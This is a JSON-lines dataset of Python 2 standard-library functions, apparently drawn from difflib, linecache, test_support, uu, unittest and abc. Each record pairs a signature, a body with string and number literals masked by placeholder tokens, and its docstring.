{"signature": "def _tab_newline_replace(self,fromlines,tolines):", "body": "def expand_tabs(line):<EOL><INDENT>line = line.replace('<STR_LIT:U+0020>','<STR_LIT>')<EOL>line = line.expandtabs(self._tabsize)<EOL>line = line.replace('<STR_LIT:U+0020>','<STR_LIT:\\t>')<EOL>return line.replace('<STR_LIT>','<STR_LIT:U+0020>').rstrip('<STR_LIT:\\n>')<EOL><DEDENT>fromlines = [expand_tabs(line) for line in fromlines]<EOL>tolines = [expand_tabs(line) for line in tolines]<EOL>return fromlines,tolines<EOL>", "docstring": "Returns from/to line lists with tabs expanded and newlines removed.\n\n        Instead of tab characters being replaced by the number of spaces\n        needed to fill in to the next tab stop, this function will fill\n        the space with tab characters.  This is done so that the difference\n        algorithms can identify changes in a file when tabs are replaced by\n        spaces and vice versa.  At the end of the HTML generation, the tab\n        characters will be replaced with a nonbreakable space.", "id": "f16407:c3:m2"}
{"signature": "def _split_line(self,data_list,line_num,text):", "body": "<EOL>if not line_num:<EOL><INDENT>data_list.append((line_num,text))<EOL>return<EOL><DEDENT>size = len(text)<EOL>max = self._wrapcolumn<EOL>if (size <= max) or ((size -(text.count('<STR_LIT>')*<NUM_LIT:3>)) <= max):<EOL><INDENT>data_list.append((line_num,text))<EOL>return<EOL><DEDENT>i = <NUM_LIT:0><EOL>n = <NUM_LIT:0><EOL>mark = '<STR_LIT>'<EOL>while n < max and i < size:<EOL><INDENT>if text[i] == '<STR_LIT>':<EOL><INDENT>i += <NUM_LIT:1><EOL>mark = text[i]<EOL>i += <NUM_LIT:1><EOL><DEDENT>elif text[i] == '<STR_LIT>':<EOL><INDENT>i += <NUM_LIT:1><EOL>mark = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL>n += <NUM_LIT:1><EOL><DEDENT><DEDENT>line1 = text[:i]<EOL>line2 = text[i:]<EOL>if mark:<EOL><INDENT>line1 = line1 + '<STR_LIT>'<EOL>line2 = '<STR_LIT>' + mark + line2<EOL><DEDENT>data_list.append((line_num,line1))<EOL>self._split_line(data_list,'<STR_LIT:>>',line2)<EOL>", "docstring": "Builds list of text lines by splitting text lines at wrap point\n\n        This function will determine if the input text line needs to be\n        wrapped (split) into separate lines.  If so, the first wrap point\n        will be determined and the first line appended to the output\n        text line list.  This function is used recursively to handle\n        the second part of the split line to further split it.", "id": "f16407:c3:m3"}
{"signature": "def _line_wrapper(self,diffs):", "body": "<EOL>for fromdata,todata,flag in diffs:<EOL><INDENT>if flag is None:<EOL><INDENT>yield fromdata,todata,flag<EOL>continue<EOL><DEDENT>(fromline,fromtext),(toline,totext) = fromdata,todata<EOL>fromlist,tolist = [],[]<EOL>self._split_line(fromlist,fromline,fromtext)<EOL>self._split_line(tolist,toline,totext)<EOL>while fromlist or tolist:<EOL><INDENT>if fromlist:<EOL><INDENT>fromdata = fromlist.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>fromdata = ('<STR_LIT>','<STR_LIT:U+0020>')<EOL><DEDENT>if tolist:<EOL><INDENT>todata = tolist.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>todata = ('<STR_LIT>','<STR_LIT:U+0020>')<EOL><DEDENT>yield fromdata,todata,flag<EOL><DEDENT><DEDENT>", "docstring": "Returns iterator that splits (wraps) mdiff text lines", "id": "f16407:c3:m4"}
{"signature": "def _collect_lines(self,diffs):", "body": "fromlist,tolist,flaglist = [],[],[]<EOL>for fromdata,todata,flag in diffs:<EOL><INDENT>try:<EOL><INDENT>fromlist.append(self._format_line(<NUM_LIT:0>,flag,*fromdata))<EOL>tolist.append(self._format_line(<NUM_LIT:1>,flag,*todata))<EOL><DEDENT>except TypeError:<EOL><INDENT>fromlist.append(None)<EOL>tolist.append(None)<EOL><DEDENT>flaglist.append(flag)<EOL><DEDENT>return fromlist,tolist,flaglist<EOL>", "docstring": "Collects mdiff output into separate lists\n\n        Before storing the mdiff from/to data into a list, it is converted\n        into a single line of text with HTML markup.", "id": "f16407:c3:m5"}
{"signature": "def _format_line(self,side,flag,linenum,text):", "body": "try:<EOL><INDENT>linenum = '<STR_LIT>' % linenum<EOL>id = '<STR_LIT>' % (self._prefix[side],linenum)<EOL><DEDENT>except TypeError:<EOL><INDENT>id = '<STR_LIT>'<EOL><DEDENT>text=text.replace(\"<STR_LIT:&>\",\"<STR_LIT>\").replace(\"<STR_LIT:>>\",\"<STR_LIT>\").replace(\"<STR_LIT:<>\",\"<STR_LIT>\")<EOL>text = text.replace('<STR_LIT:U+0020>','<STR_LIT>').rstrip()<EOL>return '<STR_LIT>'% (id,linenum,text)<EOL>", "docstring": "Returns HTML markup of \"from\" / \"to\" text lines\n\n        side -- 0 or 1 indicating \"from\" or \"to\" text\n        flag -- indicates if difference on line\n        linenum -- line number (used for line number column)\n        text -- line text to be marked up", "id": "f16407:c3:m6"}
{"signature": "def _make_prefix(self):", "body": "<EOL>fromprefix = \"<STR_LIT>\" % HtmlDiff._default_prefix<EOL>toprefix = \"<STR_LIT>\" % HtmlDiff._default_prefix<EOL>HtmlDiff._default_prefix += <NUM_LIT:1><EOL>self._prefix = [fromprefix,toprefix]<EOL>", "docstring": "Create unique anchor prefixes", "id": "f16407:c3:m7"}
{"signature": "def _convert_flags(self,fromlist,tolist,flaglist,context,numlines):", "body": "<EOL>toprefix = self._prefix[<NUM_LIT:1>]<EOL>next_id = ['<STR_LIT>']*len(flaglist)<EOL>next_href = ['<STR_LIT>']*len(flaglist)<EOL>num_chg, in_change = <NUM_LIT:0>, False<EOL>last = <NUM_LIT:0><EOL>for i,flag in enumerate(flaglist):<EOL><INDENT>if flag:<EOL><INDENT>if not in_change:<EOL><INDENT>in_change = True<EOL>last = i<EOL>i = max([<NUM_LIT:0>,i-numlines])<EOL>next_id[i] = '<STR_LIT>' % (toprefix,num_chg)<EOL>num_chg += <NUM_LIT:1><EOL>next_href[last] = '<STR_LIT>' % (<EOL>toprefix,num_chg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>in_change = False<EOL><DEDENT><DEDENT>if not flaglist:<EOL><INDENT>flaglist = [False]<EOL>next_id = ['<STR_LIT>']<EOL>next_href = ['<STR_LIT>']<EOL>last = <NUM_LIT:0><EOL>if context:<EOL><INDENT>fromlist = ['<STR_LIT>']<EOL>tolist = fromlist<EOL><DEDENT>else:<EOL><INDENT>fromlist = tolist = ['<STR_LIT>']<EOL><DEDENT><DEDENT>if not flaglist[<NUM_LIT:0>]:<EOL><INDENT>next_href[<NUM_LIT:0>] = '<STR_LIT>' % toprefix<EOL><DEDENT>next_href[last] = '<STR_LIT>' % (toprefix)<EOL>return fromlist,tolist,flaglist,next_href,next_id<EOL>", "docstring": "Makes list of \"next\" links", "id": "f16407:c3:m8"}
{"signature": "def make_table(self,fromlines,tolines,fromdesc='<STR_LIT>',todesc='<STR_LIT>',context=False,<EOL>numlines=<NUM_LIT:5>):", "body": "<EOL>self._make_prefix()<EOL>fromlines,tolines = self._tab_newline_replace(fromlines,tolines)<EOL>if context:<EOL><INDENT>context_lines = numlines<EOL><DEDENT>else:<EOL><INDENT>context_lines = None<EOL><DEDENT>diffs = _mdiff(fromlines,tolines,context_lines,linejunk=self._linejunk,<EOL>charjunk=self._charjunk)<EOL>if self._wrapcolumn:<EOL><INDENT>diffs = self._line_wrapper(diffs)<EOL><DEDENT>fromlist,tolist,flaglist = self._collect_lines(diffs)<EOL>fromlist,tolist,flaglist,next_href,next_id = self._convert_flags(<EOL>fromlist,tolist,flaglist,context,numlines)<EOL>s = []<EOL>fmt = '<STR_LIT>' +'<STR_LIT>'<EOL>for i in range(len(flaglist)):<EOL><INDENT>if flaglist[i] is None:<EOL><INDENT>if i > <NUM_LIT:0>:<EOL><INDENT>s.append('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s.append( fmt % (next_id[i],next_href[i],fromlist[i],<EOL>next_href[i],tolist[i]))<EOL><DEDENT><DEDENT>if fromdesc or todesc:<EOL><INDENT>header_row = '<STR_LIT>' % (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % fromdesc,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % todesc)<EOL><DEDENT>else:<EOL><INDENT>header_row = '<STR_LIT>'<EOL><DEDENT>table = self._table_template % dict(<EOL>data_rows='<STR_LIT>'.join(s),<EOL>header_row=header_row,<EOL>prefix=self._prefix[<NUM_LIT:1>])<EOL>return table.replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT:\\t>','<STR_LIT>')<EOL>", "docstring": "Returns HTML table of side by side comparison with change highlights\n\n        Arguments:\n        fromlines -- list of \"from\" lines\n        tolines -- list of \"to\" lines\n        fromdesc -- \"from\" file column header string\n        todesc -- \"to\" file column header string\n        context -- set to True for contextual differences (defaults to False\n            which shows full differences).\n        numlines -- number of context lines.  When context is set True,\n            controls number of lines displayed before and after the change.\n            When context is False, controls the number of lines to place\n            the \"next\" link anchors before the next change (so click of\n            \"next\" link jumps to just before the change).", "id": "f16407:c3:m9"}
{"signature": "def clearcache():", "body": "global cache<EOL>cache = {}<EOL>", "docstring": "Clear the cache entirely.", "id": "f16409:m1"}
{"signature": "def getlines(filename, module_globals=None):", "body": "if filename in cache:<EOL><INDENT>return cache[filename][<NUM_LIT:2>]<EOL><DEDENT>try:<EOL><INDENT>return updatecache(filename, module_globals)<EOL><DEDENT>except MemoryError:<EOL><INDENT>clearcache()<EOL>return []<EOL><DEDENT>", "docstring": "Get the lines for a file from the cache.\n    Update the cache if it doesn't contain an entry for this file already.", "id": "f16409:m2"}
{"signature": "def checkcache(filename=None):", "body": "if filename is None:<EOL><INDENT>filenames = cache.keys()<EOL><DEDENT>else:<EOL><INDENT>if filename in cache:<EOL><INDENT>filenames = [filename]<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>for filename in filenames:<EOL><INDENT>size, mtime, lines, fullname = cache[filename]<EOL>if mtime is None:<EOL><INDENT>continue   <EOL><DEDENT>try:<EOL><INDENT>stat = os.stat(fullname)<EOL><DEDENT>except os.error:<EOL><INDENT>del cache[filename]<EOL>continue<EOL><DEDENT>if size != stat.st_size or mtime != stat.st_mtime:<EOL><INDENT>del cache[filename]<EOL><DEDENT><DEDENT>", "docstring": "Discard cache entries that are out of date.\n    (This is not checked upon each call!)", "id": "f16409:m3"}
{"signature": "def updatecache(filename, module_globals=None):", "body": "if filename in cache:<EOL><INDENT>del cache[filename]<EOL><DEDENT>if not filename or (filename.startswith('<STR_LIT:<>') and filename.endswith('<STR_LIT:>>')):<EOL><INDENT>return []<EOL><DEDENT>fullname = filename<EOL>try:<EOL><INDENT>stat = os.stat(fullname)<EOL><DEDENT>except OSError:<EOL><INDENT>basename = filename<EOL>if module_globals and '<STR_LIT>' in module_globals:<EOL><INDENT>name = module_globals.get('<STR_LIT>')<EOL>loader = module_globals['<STR_LIT>']<EOL>get_source = getattr(loader, '<STR_LIT>', None)<EOL>if name and get_source:<EOL><INDENT>try:<EOL><INDENT>data = get_source(name)<EOL><DEDENT>except (ImportError, IOError):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if data is None:<EOL><INDENT>return []<EOL><DEDENT>cache[filename] = (<EOL>len(data), None,<EOL>[line+'<STR_LIT:\\n>' for line in data.splitlines()], fullname<EOL>)<EOL>return cache[filename][<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>if os.path.isabs(filename):<EOL><INDENT>return []<EOL><DEDENT>for dirname in sys.path:<EOL><INDENT>try:<EOL><INDENT>fullname = os.path.join(dirname, basename)<EOL><DEDENT>except (TypeError, AttributeError):<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>stat = os.stat(fullname)<EOL>break<EOL><DEDENT>except os.error:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT><DEDENT>try:<EOL><INDENT>with open(fullname, '<STR_LIT>') as fp:<EOL><INDENT>lines = fp.readlines()<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>return []<EOL><DEDENT>if lines and not lines[-<NUM_LIT:1>].endswith('<STR_LIT:\\n>'):<EOL><INDENT>lines[-<NUM_LIT:1>] += '<STR_LIT:\\n>'<EOL><DEDENT>size, mtime = stat.st_size, stat.st_mtime<EOL>cache[filename] = size, mtime, lines, fullname<EOL>return lines<EOL>", "docstring": "Update a cache entry and return its list of lines.\n    If something's wrong, print a message, discard the cache entry,\n    and return an empty list.", "id": "f16409:m4"}
{"signature": "def check(self, msg, results):", "body": "m = self.create_message(msg)<EOL>i = <NUM_LIT:0><EOL>for n, a in m.getaddrlist('<STR_LIT:to>') + m.getaddrlist('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>mn, ma = results[i][<NUM_LIT:0>], results[i][<NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>print('<STR_LIT>', repr(n), repr(a))<EOL>continue<EOL><DEDENT>i = i + <NUM_LIT:1><EOL>self.assertEqual(mn, n,<EOL>\"<STR_LIT>\" % (mn, n))<EOL>self.assertEqual(ma, a,<EOL>\"<STR_LIT>\" % (ma, a))<EOL>if mn == n and ma == a:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>', repr(n), repr(a))<EOL><DEDENT><DEDENT>out = m.getdate('<STR_LIT:date>')<EOL>if out:<EOL><INDENT>self.assertEqual(out,<EOL>(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Check addresses and the date.", "id": "f16413:c0:m3"}
{"signature": "def _filterwarnings(filters, quiet=False):", "body": "<EOL>with warnings.catch_warnings(record=True) as w:<EOL><INDENT>sys.modules['<STR_LIT>'].simplefilter(\"<STR_LIT>\")<EOL>yield WarningsRecorder(w)<EOL><DEDENT>reraise = [warning.message for warning in w]<EOL>missing = []<EOL>for msg, cat in filters:<EOL><INDENT>seen = False<EOL>for exc in reraise[:]:<EOL><INDENT>message = str(exc)<EOL>if (re.match(msg, message, re.I) and<EOL>issubclass(exc.__class__, cat)):<EOL><INDENT>seen = True<EOL>reraise.remove(exc)<EOL><DEDENT><DEDENT>if not seen and not quiet:<EOL><INDENT>missing.append((msg, cat.__name__))<EOL><DEDENT><DEDENT>if reraise:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\" % reraise[<NUM_LIT:0>])<EOL><DEDENT>if missing:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\" %<EOL>missing[<NUM_LIT:0>])<EOL><DEDENT>", "docstring": "Catch the warnings, then check if all the expected\n    warnings have been raised and re-raise unexpected warnings.\n    If 'quiet' is True, only re-raise the unexpected warnings.", "id": "f16416:m1"}
{"signature": "@contextlib.contextmanager<EOL>def check_warnings(*filters, **kwargs):", "body": "quiet = kwargs.get('<STR_LIT>')<EOL>if not filters:<EOL><INDENT>filters = ((\"<STR_LIT>\", Warning),)<EOL>if quiet is None:<EOL><INDENT>quiet = True<EOL><DEDENT><DEDENT>return _filterwarnings(filters, quiet)<EOL>", "docstring": "Context manager to silence warnings.\n\n    Accept 2-tuples as positional arguments:\n        (\"message regexp\", WarningCategory)\n\n    Optional argument:\n     - if 'quiet' is True, it does not fail if a filter catches nothing\n        (default True without argument,\n         default False if some filters are defined)\n\n    Without argument, it defaults to:\n        check_warnings((\"\", Warning), quiet=True)", "id": "f16416:m2"}
{"signature": "@contextlib.contextmanager<EOL>def check_py3k_warnings(*filters, **kwargs):", "body": "if sys.py3kwarning:<EOL><INDENT>if not filters:<EOL><INDENT>filters = ((\"<STR_LIT>\", DeprecationWarning),)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>filters = ()<EOL><DEDENT>return _filterwarnings(filters, kwargs.get('<STR_LIT>'))<EOL>", "docstring": "Context manager to silence py3k warnings.\n\n    Accept 2-tuples as positional arguments:\n        (\"message regexp\", WarningCategory)\n\n    Optional argument:\n     - if 'quiet' is True, it does not fail if a filter catches nothing\n        (default False)\n\n    Without argument, it defaults to:\n        check_py3k_warnings((\"\", DeprecationWarning), quiet=False)", "id": "f16416:m3"}
{"signature": "def _run_suite(suite):", "body": "if verbose:<EOL><INDENT>runner = unittest.TextTestRunner(sys.stdout, verbosity=<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>runner = BasicTestRunner()<EOL><DEDENT>result = runner.run(suite)<EOL>if not result.wasSuccessful():<EOL><INDENT>if len(result.errors) == <NUM_LIT:1> and not result.failures:<EOL><INDENT>err = result.errors[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>elif len(result.failures) == <NUM_LIT:1> and not result.errors:<EOL><INDENT>err = result.failures[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>err = \"<STR_LIT>\"<EOL>if not verbose:<EOL><INDENT>err += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>raise TestFailed(err)<EOL><DEDENT>", "docstring": "Run tests from a unittest.TestSuite-derived class.", "id": "f16416:m6"}
{"signature": "def reap_children():", "body": "<EOL>if hasattr(os, '<STR_LIT>'):<EOL><INDENT>any_process = -<NUM_LIT:1><EOL>while True:<EOL><INDENT>try:<EOL><INDENT>pid, status = os.waitpid(any_process, os.WNOHANG)<EOL>if pid == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>except:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Use this function at the end of test_main() whenever sub-processes\n    are started.  This will help ensure that no extra children (zombies)\n    stick around to hog resources and create problems when looking\n    for refleaks.", "id": "f16416:m10"}
{"signature": "def __init__(self, f, n, wait_before_exit=False):", "body": "self.f = f<EOL>self.n = n<EOL>self.started = []<EOL>self.finished = []<EOL>self._can_exit = not wait_before_exit<EOL>def task():<EOL><INDENT>tid = get_ident()<EOL>self.started.append(tid)<EOL>try:<EOL><INDENT>f()<EOL><DEDENT>finally:<EOL><INDENT>self.finished.append(tid)<EOL>while not self._can_exit:<EOL><INDENT>_wait()<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>for i in range(n):<EOL><INDENT>start_new_thread(task, ())<EOL><DEDENT><DEDENT>except:<EOL><INDENT>self._can_exit = True<EOL>raise<EOL><DEDENT>", "docstring": "Construct a bunch of `n` threads running the same function `f`.\nIf `wait_before_exit` is True, the threads won't terminate until\ndo_finish() is called.", "id": "f16418:c0:m0"}
{"signature": "def iterfunc(seqn):", "body": "for i in seqn:<EOL><INDENT>yield i<EOL><DEDENT>", "docstring": "Regular generator", "id": "f16433:m0"}
{"signature": "def _reference(self):", "body": "return {<NUM_LIT:1>:<NUM_LIT:2>, \"<STR_LIT>\":\"<STR_LIT>\", \"<STR_LIT>\":(<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>)}<EOL>", "docstring": "Return a dictionary of values which are invariant by storage\n        in the object under test.", "id": "f16436:c0:m0"}
{"signature": "def _empty_mapping(self):", "body": "return self.type2test()<EOL>", "docstring": "Return an empty mapping object", "id": "f16436:c0:m1"}
{"signature": "def _full_mapping(self, data):", "body": "x = self._empty_mapping()<EOL>for key, value in list(data.items()):<EOL><INDENT>x[key] = value<EOL><DEDENT>return x<EOL>", "docstring": "Return a mapping object with the value contained in data\n        dictionary", "id": "f16436:c0:m2"}
{"signature": "def encode(in_file, out_file, name=None, mode=None):", "body": "<EOL>opened_files = []<EOL>try:<EOL><INDENT>if in_file == '<STR_LIT:->':<EOL><INDENT>in_file = sys.stdin<EOL><DEDENT>elif isinstance(in_file, str):<EOL><INDENT>if name is None:<EOL><INDENT>name = os.path.basename(in_file)<EOL><DEDENT>if mode is None:<EOL><INDENT>try:<EOL><INDENT>mode = os.stat(in_file).st_mode<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>in_file = open(in_file, '<STR_LIT:rb>')<EOL>opened_files.append(in_file)<EOL><DEDENT>if out_file == '<STR_LIT:->':<EOL><INDENT>out_file = sys.stdout<EOL><DEDENT>elif isinstance(out_file, str):<EOL><INDENT>out_file = open(out_file, '<STR_LIT:wb>')<EOL>opened_files.append(out_file)<EOL><DEDENT>if name is None:<EOL><INDENT>name = '<STR_LIT:->'<EOL><DEDENT>if mode is None:<EOL><INDENT>mode = <NUM_LIT><EOL><DEDENT>out_file.write('<STR_LIT>' % ((mode&<NUM_LIT>),name))<EOL>data = in_file.read(<NUM_LIT>)<EOL>while len(data) > <NUM_LIT:0>:<EOL><INDENT>out_file.write(binascii.b2a_uu(data))<EOL>data = in_file.read(<NUM_LIT>)<EOL><DEDENT>out_file.write('<STR_LIT>')<EOL><DEDENT>finally:<EOL><INDENT>for f in opened_files:<EOL><INDENT>f.close()<EOL><DEDENT><DEDENT>", "docstring": "Uuencode file", "id": "f16442:m0"}
{"signature": "def decode(in_file, out_file=None, mode=None, quiet=<NUM_LIT:0>):", "body": "<EOL>opened_files = []<EOL>if in_file == '<STR_LIT:->':<EOL><INDENT>in_file = sys.stdin<EOL><DEDENT>elif isinstance(in_file, str):<EOL><INDENT>in_file = open(in_file)<EOL>opened_files.append(in_file)<EOL><DEDENT>try:<EOL><INDENT>while True:<EOL><INDENT>hdr = in_file.readline()<EOL>if not hdr:<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT>if not hdr.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>hdrfields = hdr.split('<STR_LIT:U+0020>', <NUM_LIT:2>)<EOL>if len(hdrfields) == <NUM_LIT:3> and hdrfields[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>int(hdrfields[<NUM_LIT:1>], <NUM_LIT:8>)<EOL>break<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>if out_file is None:<EOL><INDENT>out_file = hdrfields[<NUM_LIT:2>].rstrip()<EOL>if os.path.exists(out_file):<EOL><INDENT>raise Error('<STR_LIT>' % out_file)<EOL><DEDENT><DEDENT>if mode is None:<EOL><INDENT>mode = int(hdrfields[<NUM_LIT:1>], <NUM_LIT:8>)<EOL><DEDENT>if out_file == '<STR_LIT:->':<EOL><INDENT>out_file = sys.stdout<EOL><DEDENT>elif isinstance(out_file, str):<EOL><INDENT>fp = open(out_file, '<STR_LIT:wb>')<EOL>try:<EOL><INDENT>os.path.chmod(out_file, mode)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>out_file = fp<EOL>opened_files.append(out_file)<EOL><DEDENT>s = in_file.readline()<EOL>while s and s.strip() != '<STR_LIT:end>':<EOL><INDENT>try:<EOL><INDENT>data = binascii.a2b_uu(s)<EOL><DEDENT>except binascii.Error as v:<EOL><INDENT>nbytes = (((ord(s[<NUM_LIT:0>])-<NUM_LIT:32>) & <NUM_LIT>) * <NUM_LIT:4> + <NUM_LIT:5>) // <NUM_LIT:3><EOL>data = binascii.a2b_uu(s[:nbytes])<EOL>if not quiet:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % v)<EOL><DEDENT><DEDENT>out_file.write(data)<EOL>s = in_file.readline()<EOL><DEDENT>if not s:<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>for f in opened_files:<EOL><INDENT>f.close()<EOL><DEDENT><DEDENT>", "docstring": "Decode uuencoded file", "id": "f16442:m1"}
{"signature": "def loadTestsFromName(self, name, module=None):", "body": "parts = name.split('<STR_LIT:.>')<EOL>if module is None:<EOL><INDENT>parts_copy = parts[:]<EOL>while parts_copy:<EOL><INDENT>try:<EOL><INDENT>module = __import__('<STR_LIT:.>'.join(parts_copy))<EOL>break<EOL><DEDENT>except ImportError:<EOL><INDENT>del parts_copy[-<NUM_LIT:1>]<EOL>if not parts_copy:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>parts = parts[<NUM_LIT:1>:]<EOL><DEDENT>obj = module<EOL>for part in parts:<EOL><INDENT>parent, obj = obj, getattr(obj, part)<EOL><DEDENT>if isinstance(obj, types.ModuleType):<EOL><INDENT>return self.loadTestsFromModule(obj)<EOL><DEDENT>elif isinstance(obj, type) and issubclass(obj, case.TestCase):<EOL><INDENT>return self.loadTestsFromTestCase(obj)<EOL><DEDENT>elif (isinstance(obj, types.UnboundMethodType) and<EOL>isinstance(parent, type) and<EOL>issubclass(parent, case.TestCase)):<EOL><INDENT>name = parts[-<NUM_LIT:1>]<EOL>inst = parent(name)<EOL>return self.suiteClass([inst])<EOL><DEDENT>elif isinstance(obj, suite.TestSuite):<EOL><INDENT>return obj<EOL><DEDENT>elif hasattr(obj, '<STR_LIT>'):<EOL><INDENT>test = obj()<EOL>if isinstance(test, suite.TestSuite):<EOL><INDENT>return test<EOL><DEDENT>elif isinstance(test, case.TestCase):<EOL><INDENT>return self.suiteClass([test])<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" %<EOL>(obj, test))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % obj)<EOL><DEDENT>", "docstring": "Return a suite of all tests cases given a string specifier.\n\n        The name may resolve either to a module, a test case class, a\n        test method within a test case class, or a callable object which\n        returns a TestCase or TestSuite instance.\n\n        The method optionally resolves the names relative to a given module.", "id": "f16445:c0:m2"}
{"signature": "def loadTestsFromNames(self, names, module=None):", "body": "suites = [self.loadTestsFromName(name, module) for name in names]<EOL>return self.suiteClass(suites)<EOL>", "docstring": "Return a suite of all tests cases found using the given sequence\n        of string specifiers. See 'loadTestsFromName()'.", "id": "f16445:c0:m3"}
{"signature": "def abstractmethod(funcobj):", "body": "funcobj.__isabstractmethod__ = True<EOL>return funcobj<EOL>", "docstring": "A decorator indicating abstract methods.\n\n    Requires that the metaclass is ABCMeta or derived from it.  A\n    class that has a metaclass derived from ABCMeta cannot be\n    instantiated unless all of its abstract methods are overridden.\n    The abstract methods can be called using any of the normal\n    'super' call mechanisms.\n\n    Usage:\n\n        class C:\n            __metaclass__ = ABCMeta\n            @abstractmethod\n            def my_abstract_method(self, ...):\n                ...", "id": "f16447:m0"}
{"signature": "def register(cls, subclass):", "body": "if not isinstance(subclass, type):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if issubclass(subclass, cls):<EOL><INDENT>return  <EOL><DEDENT>if issubclass(cls, subclass):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>cls._abc_registry.add(subclass)<EOL>ABCMeta._abc_invalidation_counter += <NUM_LIT:1><EOL>", "docstring": "Register a virtual subclass of an ABC.", "id": "f16447:c1:m1"}
{"signature": "def _dump_registry(cls, file=None):", "body": "print >> file, \"<STR_LIT>\" % (cls.__module__, cls.__name__)<EOL>print >> file, \"<STR_LIT>\" % ABCMeta._abc_invalidation_counter<EOL>for name in sorted(cls.__dict__.keys()):<EOL><INDENT>if name.startswith(\"<STR_LIT>\"):<EOL><INDENT>value = getattr(cls, name)<EOL>print >> file, \"<STR_LIT>\" % (name, value)<EOL><DEDENT><DEDENT>", "docstring": "Debug helper to print the ABC registry.", "id": "f16447:c1:m2"}
{"signature": "def __instancecheck__(cls, instance):", "body": "<EOL>subclass = getattr(instance, '<STR_LIT>', None)<EOL>if subclass is not None and subclass in cls._abc_cache:<EOL><INDENT>return True<EOL><DEDENT>subtype = type(instance)<EOL><INDENT>if subtype is _InstanceType:<EOL><INDENT>subtype = subclass<EOL><DEDENT><DEDENT>if subtype is subclass or subclass is None:<EOL><INDENT>if (cls._abc_negative_cache_version ==<EOL>ABCMeta._abc_invalidation_counter and<EOL>subtype in cls._abc_negative_cache):<EOL><INDENT>return False<EOL><DEDENT>return cls.__subclasscheck__(subtype)<EOL><DEDENT>return (cls.__subclasscheck__(subclass) or<EOL>cls.__subclasscheck__(subtype))<EOL>", "docstring": "Override for isinstance(instance, cls).", "id": "f16447:c1:m3"}
{"signature": "def __subclasscheck__(cls, subclass):", "body": "<EOL>if subclass in cls._abc_cache:<EOL><INDENT>return True<EOL><DEDENT>if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter:<EOL><INDENT>cls._abc_negative_cache = _weakrefset.WeakSet()<EOL>cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter<EOL><DEDENT>elif subclass in cls._abc_negative_cache:<EOL><INDENT>return False<EOL><DEDENT>ok = cls.__subclasshook__(subclass)<EOL>if ok is not NotImplemented:<EOL><INDENT>assert isinstance(ok, bool)<EOL>if ok:<EOL><INDENT>cls._abc_cache.add(subclass)<EOL><DEDENT>else:<EOL><INDENT>cls._abc_negative_cache.add(subclass)<EOL><DEDENT>return ok<EOL><DEDENT>if cls in getattr(subclass, '<STR_LIT>', ()):<EOL><INDENT>cls._abc_cache.add(subclass)<EOL>return True<EOL><DEDENT>for rcls in cls._abc_registry:<EOL><INDENT>if issubclass(subclass, rcls):<EOL><INDENT>cls._abc_cache.add(subclass)<EOL>return True<EOL><DEDENT><DEDENT>for scls in cls.__subclasses__():<EOL><INDENT>if issubclass(subclass, scls):<EOL><INDENT>cls._abc_cache.add(subclass)<EOL>return True<EOL><DEDENT><DEDENT>cls._abc_negative_cache.add(subclass)<EOL>return False<EOL>", "docstring": "Override for issubclass(subclass, cls).", "id": "f16447:c1:m4"}
